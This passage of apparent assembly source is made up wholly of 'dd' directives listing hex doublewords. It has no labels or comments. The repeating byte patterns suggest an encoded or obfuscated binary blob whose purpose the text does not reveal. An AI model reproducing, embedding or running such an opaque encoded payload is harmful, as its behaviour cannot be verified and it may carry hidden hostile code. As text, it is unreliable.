8D1C7089h, 8CD8118Ch, 0EE5AA5FCh, 99239359h, 8C8D1D08h dd 1E988917h, 0D8118C8Dh, 5AA5C68Ch, 91A81893h, 0AC249C9Ch dd 6B9C9C9Ch, 419157Ah, 17636361h, 91790D9h, 63636104h dd 0CC899815h, 0F48C95AAh, 8C8D0819h, 63461774h, 0A117C563h dd 8C8D1E98h, 0CB9F731Fh, 0A12393CCh, 8C8D1D58h, 0CB9B731Fh dd 6390E963h, 91C6AC89h, 5019158Ch, 17636362h, 8D1D6091h dd 0D8919F8Ch, 1F8C8D1Eh, 5DA59B75h, 0D91795E9h, 50191590h dd 0F4636362h, 8C8D08E4h, 6346A374h, 2963CC63h, 63636250h dd 9C91FF74h, 4819159Ch, 0F4636362h, 8C8D08F0h, 6346BF74h dd 2963CC63h, 63636248h, 9C91DB74h, 245B159Ch, 9C9C9CACh dd 19157A6Bh, 63636108h, 0A0155F15h, 95AAC881h, 249CF68Ch dd 9C9C9CACh, 19157A6Bh, 6363610Ch, 0C899A863h, 638C95AAh dd 8DC6C489h, 1D283D8Ch, 0CCD48C8Dh, 0B9048963h, 19158C9Dh dd 63636268h, 62781911h, 63CC6363h, 63624829h, 0CC896363h dd 0F48C8DC6h, 8C8D08FEh, 63452F74h, 80581F63h, 1D5CA963h dd 29638C8Dh, 63636268h, 1D78A117h, 731F8C8Dh, 2963CB99h dd 63636248h, 626C2117h, 21B76363h, 63636274h, 702117CBh dd 0B7636362h, 63627821h, 2393CB63h, 8D1E90A1h, 5CA19F8Ch dd 0D38C8D1Ch, 7CA117CBh, 9F8C8D1Dh, 8D1DE8A1h, 96731F8Ch dd 9C9CF4CBh, 2111CC1Ch, 6363639Dh, 9CF4CCCBh, 639C9C9Eh dd 95D6A089h, 245B158Ch, 9C9C9CACh, 19157A6Bh, 63636110h dd 0A0155F15h, 95AAC481h, 7019178Ch, 0B7636362h, 63627819h dd 89239363h, 8C8D1D50h, 0B5BB5E1Fh, 7C19154Ch, 17636362h dd 63626C21h, 80811763h, 1D8C8D1Eh, 9C9C665Fh, 0B743B59Ch dd 63627421h, 81239363h, 8C8D1EF4h, 15A55F1Fh, 0AD44B564h dd 935C194Eh, 4C9D5E00h, 1915644Dh, 63636240h, 0EC892393h dd 0D68C8D1Dh, 8AE14CA5h, 8C992393h, 9F8C8D1Dh, 8D1C6899h dd 9E741F8Ch, 62401915h, 0C4F46363h, 748C8D08h, 63634434h dd 61141915h, 0C8F46363h, 748C8D08h, 63634404h, 61181915h dd 23936363h, 8D1DF4A1h, 4CA19F8Ch, 1F8C8D1Dh, 63CB9B73h dd 63626829h, 0A1239363h, 8C8D1D58h, 0CB9B731Fh, 9C9CAC24h dd 157A6B9Ch, 63611C19h, 635B1563h, 0AAC4A1A8h, 23938C95h dd 8D1D20A1h, 3881178Ch, 118C8D1Ch, 9C708320h, 63CB9C9Ch dd 63627C29h, 40211763h, 93636362h, 1D708123h, 89178C8Dh dd 8C8D1DD4h, 0AE8FC011h, 8117439Dh, 8C8D1ED0h, 1C34819Fh dd 771F8C8Dh, 0CB439D90h, 1C48A117h, 5B1F8C8Dh, 81239390h dd 8C8D1C2Ch, 0F4CB439Dh, 0CC1C9C95h, 61182117h, 17CB6363h dd 63611421h, 0A117CB63h, 8C8D1D68h, 1C28A19Fh, 731F8C8Dh dd 8963CB95h, 8C95D6A0h, 62541915h, 0D6F46363h, 748C8D08h dd 63634B54h, 61E01915h, 0ADF46363h, 748C8D08h, 63634B24h dd 61E41915h, 0A1176363h, 8C8D1E98h, 70812393h, 9D8C8D1Ch dd 9F731F43h, 682963CBh, 17636362h, 8D1C34A1h, 94731F8Ch dd 9CAC24CBh, 7A6B9C9Ch, 61E81915h, 5B156363h, 0C4A1A863h dd 938C95AAh, 1D14A123h, 5B1F8C8Dh, 2963CBABh, 6363627Ch dd 62402963h, 23936363h, 8D1D98A1h, 0E881178Ch, 118C8D1Dh dd 0CB9283E0h, 1C9C9CF4h, 0E42117CCh, 0CB636361h, 61E02117h dd 17CB6363h, 8D1C40A1h, 7CA19F8Ch, 1F8C8D1Ch, 63CB9473h dd 95D6A089h, 5819158Ch, 93636362h, 1EE89923h, 23938C8Dh dd 8D1E8C89h, 1F4C9D8Ch, 0F6CC9874h, 0F69CF69Eh, 0F699F69Ch dd 1C283D9Dh, 23938C8Dh, 8D1EF489h, 1F4C9D8Ch, 3DCC9B74h dd 8C8D1D60h, 0B0892393h, 9D8C8D1Dh, 99741F4Ch, 992393CCh dd 8C8D1D8Ch, 20F4CCD4h, 3D9C9C9Eh, 8C8D1C60h, 0FC892393h dd 9D8C8D1Eh, 97741F4Ch, 1D283DCCh, 999F8C8Dh, 8C8D1C00h dd 0CC94741Fh, 2C992393h, 1F8C8D1Ch, 93CC9B5Ch, 1D349923h dd 5C1F8C8Dh, 8963CC88h, 8C95AFBCh, 625C1915h, 9DF66363h dd 63ACF6CCh, 63625829h, 84896363h, 0F48C9C6Ch, 8C8D08BBh dd 634AEF74h, 0EC191563h, 0F4636361h, 8C8D08BEh, 634AFF74h dd 84581F63h, 1DB4A117h, 731F8C8Dh, 2963CB9Bh, 63636268h dd 1D78A117h, 731F8C8Dh dd 2963CB99h, 63636254h, 1DFCA117h, 81178C8Dh, 8C8D1EB0h dd 68830011h, 179C9C9Ch, 8D1DC889h, 9123938Ch, 8C8D1E8Ch dd 761F569Dh, 0CF4FB59Ah, 627C0117h, 23936363h, 8D1C2C89h dd 1F4B9D8Ch, 67B59E73h, 0A12393CFh, 8C8D1EDCh, 1DE8A19Fh dd 0CBD38C8Dh, 1C34A117h, 731F8C8Dh, 9CF4CB9Bh, 0CCCC9C9Ch dd 61EC2117h, 93CB6363h, 1EBCA123h, 0CBD38C8Dh, 0D6A08963h dd 5B158C95h, 9C9CAC24h, 157A6B9Ch, 6361F019h, 155F1563h dd 0AAC081A0h, 0A43D8C95h, 9F8C8D1Dh, 8D1C4899h, 99201C8Ch dd 6363626Bh, 0F486E9A8h, 8C8D0886h, 63490B74h, 11CCC563h dd 63623021h, 0D74CB63h, 779C9C3Eh, 890F484h, 0E1748C8Dh dd 0C5636349h, 302111CCh, 0CB636362h, 9C3EEB74h, 0F06F49Ch dd 0F9748C8Dh, 11636349h, 63639D21h, 2111CB63h, 63636230h dd 2111CCCBh, 63636131h, 0B48963CBh, 0F48C91C6h, 8C8D08C4h dd 6349A374h, 0F4191563h, 93636361h, 1DD8A123h, 0CBD38C8Dh dd 62682963h, 0A1176363h, 8C8D1C4Ch, 0CB98731Fh, 9C9CAC24h dd 157A6B9Ch, 6361F819h, 635B1563h, 0AAC0A1A8h, 0A1178C95h dd 8C8D1DB8h, 0CBBB5B1Fh, 627C2963h, 0A1176363h, 8C8D1DA0h dd 812393DBh, 8C8D1D34h, 17CB439Dh, 8D1DD4A1h, 8123938Ch dd 8C8D1D98h, 731F439Dh, 9CF4CB9Eh, 11CC9C9Ch, 63613121h dd 2117CB63h, 636361F4h, 0C4A117CBh, 0D38C8D1Dh, 0A08963CBh dd 158C95D6h, 63613419h, 99239363h, 8C8D1D8Ch, 9EF6CCD4h dd 9CF69CF6h, 9DF699F6h, 0B8992393h, 938C8D1Eh, 1D708923h dd 4C9D8C8Dh, 0CC99741Fh, 8D1C683Dh, 7489178Ch, 9D8C8D1Ch dd 1F4C155Eh, 3DCC9574h, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh dd 0CF4CC93h, 3D9C9C9Dh, 8C8D1DA0h, 0CC95741Fh, 8D1C683Dh dd 9E741F8Ch, 1EA43DCCh, 999F8C8Dh, 8C8D1ED8h, 0CC96741Fh dd 8D1D243Dh, 955C1F8Ch, 0BC8963CCh, 158C95AFh, 63624C19h dd 0CC9DF663h, 2963ACF6h, 63636134h, 6C848963h, 12F48C9Ch dd 748C8D0Fh, 6363488Ch, 61FC1915h, 16F46363h, 748C8D0Fh dd 6363489Ch, 61C01915h, 0A9636363h, 8C8D1C20h, 62682963h dd 0A1176363h, 8C8D1D84h, 819F6715h, 8C8D1EF0h, 0CF8D771Fh dd 9C9CAC24h, 157A6B9Ch, 6361C419h, 635F1563h, 0AAC081A8h dd 81178C95h, 8C8D1EECh, 9DB95F1Dh, 819F9C9Ch, 8C8D1D94h dd 812393CFh, 8C8D1EBCh, 0CFAD5F1Fh, 1ECC8117h, 5F1F8C8Dh dd 8117CFD5h, 8C8D1C48h, 3C892393h, 9D8C8D1Ch, 98771F4Fh dd 9C9FF4CFh, 117CC1Ch, 636361C0h, 0FC0117CFh, 0CF636361h dd 1EC4A19Fh, 731F8C8Dh, 8963CB96h, 8C95D6A0h, 0AC245B15h dd 6B9C9C9Ch, 0C819157Ah, 15636361h, 81A0155Fh, 8C95AAFCh dd 8D0FE2F4h, 4FDA748Ch, 19156363h, 636361CCh, 8D0FE6F4h dd 4FAA748Ch, 581F6363h, 0D01915B4h, 93636361h, 1DF4A123h dd 23938C8Dh, 8D1E8C81h, 9D66158Ch, 1F4F1546h, 63CF9B77h dd 63626829h, 98811763h, 938C8D1Eh, 1DB08923h, 4F9D8C8Dh dd 0CF94771Fh, 9C9CAC24h, 157A6B9Ch, 6361D419h, 635F1563h dd 0AAC081A8h, 23938C95h, 8D1DEC81h, 0A720118Ch, 9C9C9DBBh dd 0A12393CBh, 8C8D1C70h, 0CBA05B1Fh, 1C7CA117h, 5B1F8C8Dh dd 0F8A19FD6h, 0CB8C8D1Dh, 80A12393h, 938C8D1Dh, 1D208923h dd 0E0118C8Dh, 0F4CBDD8Bh, 0CC1C9C9Fh, 61D02117h, 17CB6363h dd 6361CC21h, 4315CB63h, 8963CBD3h, 8C95D6A0h, 0AC245B15h dd 6B9C9C9Ch, 0D819157Ah, 15636361h, 81A0155Fh, 8C95AAF8h dd 8D1C483Dh, 9A741F8Ch, 621915FAh, 75636362h, 9C9C9C26h dd 8D0FECF4h, 4ECA748Ch, 2B936363h, 63626221h, 81239363h dd 8C8D1D70h, 9883E011h, 2111CCCBh, 636361A6h, 0B48963CBh dd 118C91C6h, 6361A619h, 843DCC63h, 0D48C8D1Eh, 9DDFF4CCh dd 0AC249C9Ch, 6B9C9C9Ch, 0A819157Ah, 63636361h, 0AAF899A8h dd 89638C95h, 8C9C6C84h, 8D0FF4F4h, 4D62748Ch, 2B936363h dd 63626221h, 11CCCB63h, 6361A621h, 8963CB63h, 8C91C6B4h dd 11BC581Fh, 6361A619h, 4C3DCC63h, 938C8D1Ch, 1C6C8923h dd 4C9D8C8Dh, 0CC9B741Fh, 9C9DDFF4h, 9CAC249Ch, 7A6B9C9Ch dd 61AC1915h, 0A8636363h, 95AAFC99h, 8489638Ch, 0FA8C9C6Ch dd 62621963h, 2B936363h, 63626219h, 40891763h, 1F8C8D1Ch dd 4CA59A5Eh, 63B21093h, 0FCF46363h, 748C8D0Fh, 63634D18h dd 61DC1915h, 0C0F46363h, 748C8D0Fh, 63634DE8h, 61A01915h dd 0A1176363h, 8C8D1DE0h, 1DF8A19Fh, 731F8C8Dh, 2963CB99h dd 63636268h, 8CA12393h, 0D38C8D1Dh, 9CAC24CBh, 7A6B9C9Ch dd 61A41915h, 5B156363h, 0C0A1A863h, 938C95AAh, 1EA0A123h dd 23938C8Dh, 8D1EE881h, 0A7C0118Ch, 5B1FCF88h, 0A117CBCEh dd 8C8D1D4Ch, 93EC5B1Fh, 1EFC8123h, 439D8C8Dh, 0CCA117CBh dd 1F8C8D1Dh, 0F4CBB75Bh, 0CC1C9C9Ch, 61A02117h, 17CB6363h dd 6361DC21h, 9CF4CB63h, 639C9C9Eh, 95D6A089h, 245B158Ch dd 9C9C9CACh, 19157A6Bh, 636361A8h, 0A0155F15h, 95AAF481h dd 1DF03D8Ch, 999F8C8Dh, 8C8D1DA4h, 0CC90741Fh, 50F4C4F6h dd 249C9C9Ch, 9C9C9CACh, 19157A6Bh, 636361ACh, 0F499A863h dd 638C95AAh, 9C6C8489h, 0FCEF48Ch, 9748C8Dh, 1563634Ch dd 6361B019h, 0FACF463h, 19748C8Dh, 1563634Ch, 6361B419h dd 68A11763h, 1F8C8D1Dh, 63CB9973h, 63626829h, 48A11763h dd 938C8D1Ch, 1DDC8123h, 439D8C8Dh, 0CB90731Fh, 9C9CAC24h dd 157A6B9Ch, 6361B819h, 635B1563h, 0AAC0A1A8h, 0A1178C95h dd 8C8D1E9Ch, 0CBA15B1Fh, 627C2963h, 0A1176363h, 8C8D1EF8h dd 0CBD05B1Fh, 0A8A12393h, 938C8D1Eh, 1DD88123h, 20118C8Dh dd 9C9C0D83h, 9CF4CB9Ch, 17CC9C9Ch, 6361B421h, 2117CB63h dd 636361B0h, 24A117CBh, 1F8C8D1Dh, 63CB9B73h, 95D6A089h dd 3819158Ch, 0F6636361h, 4C29639Dh, 0F6636362h, 8963CCACh dd 8C9C6C84h, 8D0FBAF4h, 534E748Ch, 19156363h, 636361BCh dd 8D0F90F4h, 535E748Ch, 581F6363h, 80191584h, 17636361h dd 8D1DE0A1h, 99731F8Ch, 682963CBh, 17636362h, 8D1D04A1h dd 6CA19F8Ch, 1F8C8D1Dh, 24CB9073h, 9C9C9CACh, 19157A6Bh dd 63636184h, 0A8635B15h, 95AAC0A1h, 0A123938Ch, 8C8D1DECh dd 0CB8A5B1Fh, 0F4A12393h, 1D8C8D1Dh, 9C9C0B5Bh, 2393CB9Ch dd 8D1EB4A1h, 0A481178Ch, 118C8D1Eh, 9C778320h, 81179C9Ch dd 8C8D1E98h, 0B5BC5F1Fh, 0A117CB43h, 8C8D1DE8h, 0CB955B1Fh dd 1C9C9CF4h, 802117CCh, 0CB636361h, 61BC2117h, 17CB6363h dd 8D1E84A1h, 8123938Ch, 8C8D1DB0h, 731F439Dh, 8963CB9Ah dd 8C95D6A0h, 0AC245B15h, 6B9C9C9Ch, 8819157Ah, 15636361h dd 81A0155Fh, 8C95AAF0h, 29639DF6h, 6363624Ch, 9C9CAC24h dd 6BACF69Ch, 8C19157Ah, 63636361h, 0AAF099A8h, 89638C95h dd 8C9C6C84h, 0AC2460F6h, 6B9C9C9Ch, 9019157Ah, 15636361h dd 63619419h, 99A86363h, 8C95AAFCh, 0C6848963h, 21178C95h dd 63636194h, 0ECA19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h dd 6B9C9C9Ch, 9819157Ah, 63636361h, 0AAFC99A8h, 89638C95h dd 8C9DB930h, 0AC2460F6h, 6B9C9C9Ch, 9C19157Ah, 15636361h dd 63606019h, 99A86363h, 8C95AAF4h, 0C6848963h, 21178C95h dd 63636060h, 0E4A19815h, 0F48C95AAh, 8C9C237Bh, 0AC2460F6h dd 6B9C9C9Ch, 6419157Ah dd 63636360h, 0AAF499A8h, 89638C95h, 8C9DB930h, 0AC2460F6h dd 6B9C9C9Ch, 6819157Ah, 15636360h, 63606C19h, 99A86363h dd 8C95AAF8h, 0C6848963h, 21178C95h, 6363606Ch, 0E8A19815h dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7019157Ah dd 63636360h, 0AAF899A8h, 89638C95h, 8C9DB930h, 0AC2460F6h dd 6B9C9C9Ch, 7419157Ah, 15636360h, 63607819h, 99A86363h dd 8C95AAC0h, 0C6848963h, 21178C95h, 63636078h, 0E0A19815h dd 0F48C95AAh, 8C9C237Bh, 0AC2460F6h, 6B9C9C9Ch, 7C19157Ah dd 63636360h, 0AAC099A8h, 89638C95h, 8C9DB930h, 9C9CAC24h dd 157A6B9Ch, 63604019h, 99A86363h, 8C95AAFCh, 0B5608963h dd 0C2C38C99h, 0C95F55C7h, 24F47915h, 638C9DB9h, 99B56489h dd 0B9243D8Ch, 5EC18C9Dh, 15C99C98h, 98701D79h, 0CB9C9C9Dh dd 0F4992393h, 1F8C8D1Eh, 0F4CC9F74h, 9C9C9C1Ch, 0D03D98F6h dd 1F8C8D1Eh, 93CC9974h, 1DB09923h, 741F8C8Dh, 9CF4CC99h dd 0F4DC9C9Ch, 8C95AFACh, 0F0848963h, 5B158C8Dh, 78992393h dd 9F8C8D1Ch, 8D1D1099h, 94C9168Ch, 9D990814h, 3D636363h dd 8C8D1C74h, 1D28999Fh, 741F8C8Dh, 1911CC94h, 63636260h dd 992393CCh, 8C8D1D08h, 0CC9A741Fh, 639D1911h, 0CBCC6363h dd 0EC808963h, 63CB8C8Dh, 95D6D489h, 5F55C38Ch, 247915C9h dd 9C9C8C9Ch, 9C053774h, 0F6CBCA9Ch, 94E96399h, 6C988963h dd 5B158C9Ch, 8D1D283Dh, 8923938Ch, 8C8D1E88h, 741F4C9Dh dd 0E95BA598h, 775CAD98h, 9363F4D3h, 19119C9Ch, 63636C9Dh dd 8963CBCCh, 8C9D934Ch, 8D1D843Dh, 94741F8Ch, 90E963CCh dd 6C9D1911h, 74CC6363h, 9C9CDD9Fh, 1790581Fh, 8D1DCCA9h dd 675A1D8Ch, 0A59C9C63h, 1598E85Ah, 0F6917764h, 8963CB9Eh dd 8C9C6C98h, 4775B15h, 5F55C2C3h, 1F7915C9h, 0CACFC870h dd 992393CBh, 8C8D1D20h, 1C20999Fh, 741F8C8Dh, 0E963CC98h dd 94E9638Ch, 9CFDFB74h, 90581F9Ch, 3D30D915h, 8C8D1EB0h dd 30D9A7D4h, 9EF61993h, 5BFA9C9Ch, 9C9474D9h, 8D0E60F4h dd 52DB748Ch, 0CCC56363h, 9C908963h, 0D9158C9Dh, 64D9116Ch dd 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch, 0CB8CE117h dd 0CB63A317h, 3D5F15ACh, 8C8D1E9Ch, 54892393h, 9D8C8D1Dh dd 96741F4Ch, 199344A5h, 9C9C9D60h, 0CC5CD911h, 8D06D8F4h dd 64D9178Ch, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1DF03Dh dd 95741F8Ch, 19935FA5h, 9C9C9D57h, 8D1D883Dh, 9E741F8Ch dd 0FA44D915h, 9E4CD95Bh, 78D9119Ch, 4CE911CCh, 158C701Fh dd 9C98257Bh, 396F9C9Ch, 1F4CE911h, 7B158C70h, 9C9C9825h dd 17396F9Ch, 17CB5CE1h, 0B0CB63A3h, 0C43D5F15h, 9F8C8D1Dh dd 8D1D1899h, 95741F8Ch, 19935FA5h, 9C9C9DF2h, 8D1D4C3Dh dd 9F741F8Ch, 1160D915h, 0F4CC60D9h, 8C8D06C8h, 0CC78D917h dd 8863A417h, 9C9C9CA1h, 935F159Ch, 1E909923h, 44A58C8Dh dd 9DAF1993h, 99639C9Ch, 8C9DB94Ch, 8D1C283Dh, 2393DC8Ch dd 8D1DDC89h, 0A54C9D8Ch, 9DB94C99h, 9381EE8Ch, 1EF49923h dd 5C1F8C8Dh, 0B94C3F9Bh, 0E9638C9Dh, 0D7B77460h, 75C59C9Ch dd 9C9C9C6Ch, 8D1D843Dh, 7C999F8Ch, 1F8C8D1Dh, 0D9158E74h dd 24D9112Ch, 80A963CCh, 748C9C6Ch, 9C9C9D15h, 1150D915h dd 63CC28D9h, 95D5BCA9h, 9DEB748Ch, 0D9159C9Ch, 20D91154h dd 48A963CCh, 748C9D93h, 9C9C9DF9h, 1584581Fh, 0E11F58D9h dd 81E89C28h, 9C54E11Fh, 0DFF68BE8h, 0CC2CD911h, 6360E963h dd 0E96328E9h, 0EAF77454h, 581F9C9Ch, 20E11F88h, 1F81E89Ch dd 0E89C58E1h, 11CCF68Bh, 63CC2CD9h, 0E96360E9h, 58E96320h dd 9CEAD474h, 88581F9Ch, 9C50E11Fh, 0E11F81E8h, 8BE89C24h dd 0D911D8F6h, 0E963CC2Ch, 24E96360h, 7450E963h, 9C9CEAB9h dd 6388581Fh, 896354E9h, 8C9DB950h, 6350E963h, 9DB95089h dd 58E9638Ch, 0B9508963h, 23938C9Dh, 8D1DB099h, 8923938Ch dd 8C8D1C70h, 741F4C9Dh, 0E963CC9Fh, 94E9638Ch, 9CC3B774h dd 90581F9Ch, 0CC60D917h, 0CA63AC17h, 78D91794h, 63AC17CCh dd 0D91794CAh, 0AC17CC5Ch, 1794CA63h, 17CC64D9h, 94CA63ACh dd 0CC74D911h, 0ECA88963h, 3D8C8Dh, 9F8C8D1Ch, 8D1D7899h dd 90741F8Ch, 9CE85FA5h, 55C7C2C3h, 7915C95Fh, 9CBC9C24h dd 0AE6749Ch, 0CACF9C9Ch, 8363F4CBh, 19119C9Ch, 63637C9Dh dd 94E963CCh, 0ECA48963h, 78F48C8Dh, 748C8D0Eh, 636355ECh dd 70A12393h, 0DB8C8D1Ch, 2111CCCBh, 63637C9Dh, 0A17174CBh dd 581F9C9Ch, 0A923938Ch, 8C8D1D54h, 1C812393h, 118C8D1Dh dd 636A8228h, 6CA59C9Ch, 0E96395E8h, 1D6B7494h, 0ADC59C9Ch dd 0C2C3DC5Ch, 945E55C7h, 7915C99Ch, 0CACFCCCDh, 0F49CF6CBh dd 9C9C9C1Ch, 9CF69FF6h, 9CF49FF6h, 631C9C9Ch, 896394E9h dd 8C8DF084h, 643D5B15h, 1F8C8D1Dh, 5BA5645Ch, 2393B2E9h dd 8D1D3499h, 10999F8Ch, 0A58C8D1Dh, 84E890D9h, 9390D917h dd 1D508923h, 23938C8Dh, 8D1EE891h, 1F569D8Ch, 8C159B76h dd 0C0775CADh, 54992393h, 9F8C8D1Dh, 8D1DC499h, 94741F8Ch dd 8963CBCCh, 8C95C688h, 5C1F5A15h, 0DCF6CC8Ch, 0B5708963h dd 5F158C99h, 0A8992393h, 1F8C8D1Eh, 1FCC9874h, 0E89C90E1h dd 90D91794h, 7764D915h, 60D9119Ah, 6364D915h, 0CFCA64E9h dd 0A88963CBh, 0CB8C9C6Ch, 0D6D48963h, 44158C95h, 55C7C2C3h dd 49F4CB5Fh, 748C8D0Eh, 636354FCh, 8963CCC5h, 8C9DB904h dd 8D1E343Fh, 9923938Ch, 8C8D1D14h, 0A599741Fh, 8D1E3499h dd 0F48BE98Ch, 8C8D0E5Ah, 6354AB74h, 63CCC563h, 99AF8489h dd 1E343F8Ch, 2CF48C8Dh, 748C8D0Eh, 636354BCh, 0A963CCC5h dd 8C8D1E34h, 0BD308963h, 0B43F8C9Dh, 0C38C9C6Ch, 0DC9D245Fh dd 845E1C9Ch, 7915C99Ch, 9EF8701Dh, 0CACF9C9Ch, 998174CBh dd 0B3749C9Ch, 749C9CA5h, 636363E1h, 634F0C74h, 58967463h dd 0C6746363h, 749C9CC6h, 9C9CF9C9h, 9CA57B74h, 0EA7F749Ch dd 21749C9Ch, 749C9C80h, 9C9C9105h, 9CE5A774h, 97CF749Ch dd 5F159C9Ch, 9C8AEE74h, 145E159Ch, 63622F09h, 99239363h dd 8C8D1DECh, 92A93DCh, 6363622Fh, 84E94CA5h, 8D1D7C3Dh dd 8923938Ch, 8C8D1EB4h, 741F4C9Dh, 8963CC92h, 8C8DC6FCh dd 2F192A93h, 93636362h, 1DDC8923h, 761F8C8Dh, 0E94CA598h dd 1DA43D84h, 5C1F8C8Dh, 34999FC5h, 0CC8C8D1Ch, 0C6B88963h dd 77C58C91h, 0EC896307h, 158C8DC7h, 943D24D9h, 9F8C8D1Eh dd 8D1DB899h, 97741F8Ch, 19935FA5h, 9C9C9D94h, 9C9C63F4h dd 2819119Ch, 0CC636361h, 8D1EA43Dh, 8923938Ch, 8C8D1E88h dd 741F4C9Dh, 9CF4CC95h, 639C9C98h, 9DB93489h, 1922938Ch dd 63636128h, 0F424D99Dh, 8C8D0E39h, 635A6F74h, 38191563h dd 0F4636361h, 8C8D0E07h, 635A7F74h, 2117CC63h, 63636138h dd 252111CBh, 0CB636362h, 0C6B48963h, 19118C91h, 63636225h dd 3D9CF6CCh, 8C8D1E98h, 1DA8999Fh, 741F8C8Dh, 8963CC97h dd 8C95C690h, 13F45A15h, 748C8D0Eh, 63635A38h, 613C1915h dd 19F46363h, 748C8D0Eh, 63635A08h, 1D48A963h, 17CC8C8Dh dd 63613C21h, 2111CB63h, 63636225h, 0B48963CBh, 1F8C91C6h dd 1911B058h, 63636225h, 3D9DF6CCh, 8C8D1E98h, 0CC9F741Fh dd 0C6908963h, 5A158C95h, 8D1D783Dh, 99741F8Ch, 93E96CA5h dd 8D1EAC3Dh, 98741F8Ch dd 0FC8963CCh, 938C8DC6h, 1DBC9923h, 89178C8Dh, 8C8D1C24h dd 688CD811h, 8963CACCh, 8C91C6BCh, 50992393h, 9F8C8D1Dh dd 8D1C3499h, 99741F8Ch, 0CC24D99Fh, 0C5688963h, 0D43D8C95h dd 9F8C8D1Dh, 8D1EB099h, 94741F8Ch, 48963CCh, 158C9DB9h dd 63622819h, 942E7463h, 783D9C9Ch, 1F8C8D1Dh, 0D9159974h dd 0EE7F458h, 45748C8Dh, 15636359h, 843D7CD9h, 9F8C8D1Eh dd 8D1C4099h, 94741F8Ch, 3D48D915h, 8C8D1C0Ch, 54D915D4h dd 9944D95Bh, 939C9C9Ch, 1E889923h, 741F8C8Dh, 4CD9159Fh dd 9F20D95Bh, 3D9C9C9Ch, 8C8D1EACh, 1599741Fh, 191740D9h dd 63636228h, 1150D915h, 9CB0AF99h, 5CD9158Ch, 0CC20D911h dd 0BC0C8963h, 0E1178C9Dh, 9B22937Ch, 28112293h, 5636361h dd 1915656Bh, 63636134h, 8D0EEDF4h, 59C6748Ch, 19156363h dd 63636100h, 8D0EFBF4h, 59D6748Ch, 0A1176363h, 8C8D1DA8h dd 0CB94731Fh, 62282963h, 0A1176363h, 8C8D1D68h, 0CB99731Fh dd 0E8A12393h, 0D38C8D1Eh, 0C8A117CBh, 1F8C8D1Dh, 93CB9B73h dd 1EB8A123h, 23938C8Dh, 8D1EFC89h, 1F4B9D8Ch, 93CB9773h dd 1D20A123h, 66158C8Dh, 0CE99761Fh, 1D28A19Fh, 731F8C8Dh dd 9CF4CB9Ah, 0CC9C569Ch, 61002117h, 93CB6363h, 1DC0A123h dd 731F8C8Dh, 8963CB9Fh, 8C95D6A0h, 9DB95C3Fh, 2C19118Ch dd 0CC636361h, 62282963h, 92746363h, 159C9CE1h, 63613019h dd 0C69C3F63h, 19178C95h, 6363612Ch, 9DB9583Fh, 749CF68Ch dd 9C9C8845h, 3D80581Fh, 8C8D1C24h, 0A594741Fh, 7480E95Fh dd 9C9CCA67h, 44992393h, 9F8C8D1Ch, 8D1DAC99h, 90741F8Ch dd 91C6B03Fh, 3D89778Ch, 8C8D1C5Ch, 9CA60899h, 0A4999F9Ch dd 3F8C8D1Dh, 8C91C6B0h, 9CA7C9F4h, 59D1748Ch, 3DC56363h dd 8C8D1DE8h, 0F4892393h, 9D8C8D1Dh, 99741F4Ch, 0B3E944A5h dd 9CAE1074h, 0E5F2749Ch, 2E749C9Ch, 749C9CDFh, 63632620h dd 9CDE9774h, 1188779Ch, 63CC78D9h, 8DC09C89h, 78D9118Ch dd 848963CCh, 3D8C9D9Ch, 8C8D1C4Ch, 1EB0999Fh, 741F8C8Dh dd 43DCC99h, 938C8D1Ch, 1D8C8923h, 4C9D8C8Dh, 0CC9F741Fh dd 0BC992393h, 9F8C8D1Dh, 8D1C4099h, 96741F8Ch, 78D911CCh dd 0D48963CCh, 958C95AAh, 0C330E95Ch, 5E55C7C2h, 15C99C98h dd 90701F79h, 0E917CBCAh, 94D91790h, 6A6B4EADh, 88A12393h dd 9F8C8D1Eh, 8D1DA0A1h, 90731F8Ch, 99E966A5h, 7794D917h dd 94D91786h, 6A6B4EADh, 1564D915h, 157A6B5Bh, 5B1568D9h dd 0E1156B9Dh, 0C3641560h, 0C95F55C2h, 0CBCA7915h, 1794E117h dd 6C1590E9h, 158CD9BFh, 0BF4E6B6Eh, 4C9588C9h, 9FBCD99Fh dd 649D84D9h, 0E9635B15h, 2974CB80h, 1F9C9CABh, 6B159458h dd 64155B9Dh, 5FC1C2C3h, 0CF7915C9h, 0E117CBCAh, 8CE91790h dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h, 8D06B8F4h dd 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0578F4h, 8963CB8Ch dd 8C91C6A0h, 8CE85C95h, 1594D917h, 17AA639Ah, 98CF6384h dd 84775CADh, 8D1C403Dh, 8923938Ch, 8C8D1EB8h, 741F4C9Dh dd 249A1595h, 1C9CDC9Eh, 0C1C7C2C3h, 249C905Eh, 1C9CDC9Dh dd 0CB9C8C5Eh, 8D0EC0F4h, 5E56748Ch, 0CCC56363h, 0B9048963h dd 83F8C9Dh, 3D8C8D1Eh, 8C8D1DE4h, 0A59F741Fh, 8D1E0899h dd 0F48BE98Ch, 8C8D0ECDh, 635E3F74h, 63CCC563h, 99AF8489h dd 1E083F8Ch, 83D8C8Dh, 0A58C8D1Eh, 8D1D3C99h, 0F481E88Ch dd 8C8D0EA7h, 635EE374h, 63CCC563h, 8D1E08A9h, 3089638Ch dd 3F8C9DBDh, 8C9DB928h, 15C95FC3h, 30701D79h, 0CF9C9C9Dh dd 0E117CBCAh, 0F1195B94h, 8636362h, 119C9C9Ch, 6362F119h dd 8963CC63h, 8C8DECB4h, 8D1C283Dh, 9F741F8Ch, 0C49B985Ah dd 8D1E803Dh, 9B985A8Ch, 1ED83DA5h, 999F8C8Dh, 8C8D1DF0h dd 9392741Fh, 1C3C8923h, 23938C8Dh, 8D1D5891h, 1F569D8Ch dd 88149276h, 0E1211F9Bh, 9E636362h, 843DBDE9h, 1F8C8D1Dh dd 985A9474h, 6C3DC89Bh, 938C8D1Dh, 1C2C8923h, 4C9D8C8Dh dd 5A96741Fh, 0F4D29B98h, 8C8D0EB3h, 635D4B74h, 0E5296363h dd 63636362h, 6362E929h, 0ED296363h, 0CC636362h, 639D0111h dd 63CF6363h, 91C6B489h, 9D19118Ch, 0CC636363h, 0B08963CBh dd 0F48C9C6Ch, 8C8D0EB4h, 635D0374h, 58811763h, 938C8D1Ch 